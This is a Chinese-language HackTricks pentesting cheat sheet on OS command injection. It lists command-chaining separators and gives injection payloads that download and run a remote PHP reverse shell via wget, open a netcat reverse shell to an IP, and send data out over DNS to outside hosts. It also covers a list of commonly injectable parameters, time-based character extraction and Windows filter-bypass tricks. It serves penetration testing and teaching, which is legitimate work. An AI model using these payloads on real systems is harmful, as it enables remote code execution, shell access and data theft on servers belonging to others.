hacktricks/pentesting-web/command-injection.md

# 命令注入

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## 什么是命令注入？

**命令注入**允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此，应用程序及其所有数据可能会被完全损害。通常，执行这些命令允许攻击者未经授权地访问或控制应用程序环境和底层系统。

### 上下文

根据**您的输入被注入的位置**，您可能需要在执行命令之前**终止引用的上下文**（使用`"`或`'`）。
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **限制**绕过

如果您正在尝试在**Linux机器内执行任意命令**，您可能会对阅读有关此**绕过**感兴趣：

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

### **示例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### 参数

以下是可能容易受到代码注入和类似RCE漏洞影响的前25个参数（来自[链接](https://twitter.com/trbughunters/status/1283133356922884096)）：
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### 基于时间的数据泄露

提取数据：逐个字符
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### 基于 DNS 的数据外泄

基于来自 `https://github.com/HoLyVieR/dnsbin` 的工具，也托管在 dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
在线工具检查基于DNS的数据渗透：

* dnsbin.zhack.ca
* pingb.in

### 过滤绕过

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

## Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## References

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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</details>

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